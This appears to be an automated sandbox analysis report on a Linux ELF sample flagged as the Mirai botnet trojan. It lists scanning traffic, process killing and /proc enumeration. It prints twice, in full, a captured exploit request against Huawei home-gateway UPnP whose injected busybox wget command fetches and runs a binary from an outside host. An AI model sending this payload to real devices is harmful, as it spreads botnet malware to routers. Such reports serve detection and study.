Source: unknown TCP traffic detected without corresponding DNS query: 156.109.144.69
Source: unknown TCP traffic detected without corresponding DNS query: 156.212.198.223
Source: unknown TCP traffic detected without corresponding DNS query: 156.18.42.208
Source: unknown TCP traffic detected without corresponding DNS query: 156.108.239.6
Source: unknown TCP traffic detected without corresponding DNS query: 156.215.27.190
Source: unknown TCP traffic detected without corresponding DNS query: 156.16.238.148
Source: unknown TCP traffic detected without corresponding DNS query: 156.208.189.126
Source: unknown TCP traffic detected without corresponding DNS query: 156.232.147.243
Source: unknown TCP traffic detected without corresponding DNS query: 156.19.217.18
Source: unknown TCP traffic detected without corresponding DNS query: 156.209.213.189
Source: unknown TCP traffic detected without corresponding DNS query: 156.209.144.53
Source: unknown TCP traffic detected without corresponding DNS query: 156.80.221.27
Source: unknown TCP traffic detected without corresponding DNS query: 156.15.125.153
Source: unknown TCP traffic detected without corresponding DNS query: 156.7.69.160
Source: unknown TCP traffic detected without corresponding DNS query: 156.106.167.104
Source: unknown TCP traffic detected without corresponding DNS query: 156.158.97.246
Source: unknown TCP traffic detected without corresponding DNS query: 156.49.205.4
Source: unknown TCP traffic detected without corresponding DNS query: 156.49.119.12
Source: unknown TCP traffic detected without corresponding DNS query: 156.7.23.73
Source: unknown TCP traffic detected without corresponding DNS query: 156.166.17.88
Source: unknown TCP traffic detected without corresponding DNS query: 156.222.104.25
Source: unknown TCP traffic detected without corresponding DNS query: 156.58.29.205
Source: unknown TCP traffic detected without corresponding DNS query: 156.77.179.112
Source: unknown TCP traffic detected without corresponding DNS query: 156.238.58.98
Source: unknown TCP traffic detected without corresponding DNS query: 156.111.16.213
Source: unknown TCP traffic detected without corresponding DNS query: 156.54.26.179
Source: unknown TCP traffic detected without corresponding DNS query: 156.211.16.66
Source: unknown TCP traffic detected without corresponding DNS query: 156.95.31.78
Source: unknown TCP traffic detected without corresponding DNS query: 156.86.164.189
Source: unknown TCP traffic detected without corresponding DNS query: 156.87.94.1
Source: unknown TCP traffic detected without corresponding DNS query: 156.44.33.226
Source: unknown TCP traffic detected without corresponding DNS query: 156.180.189.142
Source: unknown TCP traffic detected without corresponding DNS query: 156.33.92.106
Source: unknown TCP traffic detected without corresponding DNS query: 156.119.96.41
Source: unknown TCP traffic detected without corresponding DNS query: 156.2.130.40
Source: unknown TCP traffic detected without corresponding DNS query: 156.181.13.90
Source: unknown TCP traffic detected without corresponding DNS query: 156.5.97.211
Source: unknown TCP traffic detected without corresponding DNS query: 156.238.141.152
Source: unknown TCP traffic detected without corresponding DNS query: 156.101.234.246
Source: unknown TCP traffic detected without corresponding DNS query: 156.94.227.5
Source: unknown TCP traffic detected without corresponding DNS query: 156.29.70.90
Source: unknown TCP traffic detected without corresponding DNS query: 156.247.162.223
Source: unknown TCP traffic detected without corresponding DNS query: 156.122.163.84
Source: vvV3pyLNs0.elf String found in binary or memory: http://scan.chromies.cf/9x83HE5AFD/arm7.jade
Source: vvV3pyLNs0.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: vvV3pyLNs0.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: unknown HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 73 63 61 6e 2e 63 68 72 6f 6d 69 65 73 2e 63 66 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 39 78 38 33 48 45 41 46 44 2f 6d 69 70 73 2e 6a 61 64 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g scan.chromies.cf -l /tmp/binary -r /9x83HEAFD/mips.jade; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: unknown DNS traffic detected: queries for: cnc.chromies.cf

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: vvV3pyLNs0.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_575f5bc8 Author: unknown
Source: 6261.1.00007f94a4001000.00007f94a401f000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_575f5bc8 Author: unknown
Source: 6255.1.00007f94a4001000.00007f94a401f000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_575f5bc8 Author: unknown
Source: 6265.1.00007f94a4001000.00007f94a401f000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_575f5bc8 Author: unknown
Sample tries to kill multiple processes (SIGKILL)
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 904, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 2018, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 2077, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 2078, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 2079, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 2080, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 2083, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 2084, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 2156, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 2226, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 6265, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 6269, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 6270, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 6271, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 6272, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 6273, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 6274, result: successful Jump to behavior
Yara signature match
Source: vvV3pyLNs0.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_575f5bc8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 58e22a2acd002b07e1b1c546e8dfe9885d5dfd2092d4044630064078038e314f, id = 575f5bc8-b848-4db4-a99c-132d4d2bc8a4, last_modified = 2021-09-16
Source: 6261.1.00007f94a4001000.00007f94a401f000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_575f5bc8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 58e22a2acd002b07e1b1c546e8dfe9885d5dfd2092d4044630064078038e314f, id = 575f5bc8-b848-4db4-a99c-132d4d2bc8a4, last_modified = 2021-09-16
Source: 6255.1.00007f94a4001000.00007f94a401f000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_575f5bc8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 58e22a2acd002b07e1b1c546e8dfe9885d5dfd2092d4044630064078038e314f, id = 575f5bc8-b848-4db4-a99c-132d4d2bc8a4, last_modified = 2021-09-16
Source: 6265.1.00007f94a4001000.00007f94a401f000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_575f5bc8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 58e22a2acd002b07e1b1c546e8dfe9885d5dfd2092d4044630064078038e314f, id = 575f5bc8-b848-4db4-a99c-132d4d2bc8a4, last_modified = 2021-09-16
Sample tries to kill a process (SIGKILL)
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 904, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 2018, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 2077, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 2078, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 2079, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 2080, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 2083, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 2084, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 2156, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 2226, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 6265, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 6269, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 6270, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 6271, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 6272, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 6273, result: successful Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) SIGKILL sent: pid: 6274, result: successful Jump to behavior
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g scan.chromies.cf -l /tmp/binary -r /9x83HEAFD/mips.jade; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: classification engine Classification label: mal100.spre.troj.linELF@0/0@1/0
Enumerates processes within the "proc" file system
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1582/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1582/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1582/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/2033/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/2033/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/2033/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/2275/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/2275/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/2275/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/3088/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/3088/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/3088/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1612/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1612/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1612/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1579/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1579/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1579/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1699/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1699/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1699/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1335/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1335/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1335/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1698/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1698/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1698/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/2028/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/2028/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/2028/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1334/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1334/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1334/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1576/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1576/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1576/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/2302/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/2302/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/2302/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/3236/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/3236/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/3236/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/2025/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/2025/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/2025/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/2146/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/2146/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/2146/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/910/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/910/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/910/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/4444/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/4444/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/4444/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/4445/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/4445/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/4445/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/912/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/912/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/912/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/4446/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/4446/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/4446/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/517/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/517/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/517/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/759/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/759/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/759/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/2307/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/2307/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/2307/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/918/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/918/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/918/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/6241/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/6241/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/6241/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/6242/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/6242/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/6242/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1594/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1594/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1594/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/2285/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/2285/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/2285/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/2281/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/2281/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/2281/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1349/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1349/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1349/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1623/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1623/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1623/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/761/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/761/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/761/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1622/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1622/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/1622/exe Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/884/cmdline Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/884/maps Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6262) File opened: /proc/884/exe Jump to behavior
Executes the "rm" command used to delete files or directories
Source: /usr/bin/dash (PID: 6248) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.IM4u5aeyei /tmp/tmp.RezRzG61Iv /tmp/tmp.4dvX4qoUbM Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 34056 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 35664 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 52084 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37522 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 34056 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37522 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 35664 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 34056 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 35664 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37522 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 34056 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 35664 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37522 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 34056 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37522 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 35664 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 34056 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37522 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 35664 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 34056 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37522 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 35664 -> 37215
Reads CPU information from /sys indicative of miner or evasive malware
Source: /tmp/vvV3pyLNs0.elf (PID: 6259) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/topology/thread_siblings_list Jump to behavior
Source: /tmp/vvV3pyLNs0.elf (PID: 6259) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/topology/thread_siblings_list Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/vvV3pyLNs0.elf (PID: 6255) Queries kernel information via 'uname': Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6269) Queries kernel information via 'uname': Jump to behavior
Source: vvV3pyLNs0.elf, 6255.1.000055d2b1796000.000055d2b181b000.rw-.sdmp, vvV3pyLNs0.elf, 6261.1.000055d2b1796000.000055d2b181b000.rw-.sdmp, vvV3pyLNs0.elf, 6265.1.000055d2b1796000.000055d2b181b000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/m68k
Source: vvV3pyLNs0.elf, 6255.1.00007ffd177ea000.00007ffd1780b000.rw-.sdmp, vvV3pyLNs0.elf, 6261.1.00007ffd177ea000.00007ffd1780b000.rw-.sdmp, vvV3pyLNs0.elf, 6265.1.00007ffd177ea000.00007ffd1780b000.rw-.sdmp Binary or memory string: /usr/bin/qemu-m68k
Source: vvV3pyLNs0.elf, 6255.1.00007ffd177ea000.00007ffd1780b000.rw-.sdmp, vvV3pyLNs0.elf, 6261.1.00007ffd177ea000.00007ffd1780b000.rw-.sdmp, vvV3pyLNs0.elf, 6265.1.00007ffd177ea000.00007ffd1780b000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-m68k/tmp/vvV3pyLNs0.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/vvV3pyLNs0.elf
Source: vvV3pyLNs0.elf, 6255.1.000055d2b1796000.000055d2b181b000.rw-.sdmp, vvV3pyLNs0.elf, 6261.1.000055d2b1796000.000055d2b181b000.rw-.sdmp, vvV3pyLNs0.elf, 6265.1.000055d2b1796000.000055d2b181b000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/m68k

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: vvV3pyLNs0.elf, type: SAMPLE
Source: Yara match File source: 6261.1.00007f94a4001000.00007f94a401f000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6255.1.00007f94a4001000.00007f94a401f000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6265.1.00007f94a4001000.00007f94a401f000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: vvV3pyLNs0.elf PID: 6255, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: vvV3pyLNs0.elf PID: 6261, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: vvV3pyLNs0.elf PID: 6265, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: vvV3pyLNs0.elf, type: SAMPLE
Source: Yara match File source: 6261.1.00007f94a4001000.00007f94a401f000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6255.1.00007f94a4001000.00007f94a401f000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6265.1.00007f94a4001000.00007f94a401f000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: vvV3pyLNs0.elf PID: 6255, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: vvV3pyLNs0.elf PID: 6261, type: MEMORYSTR
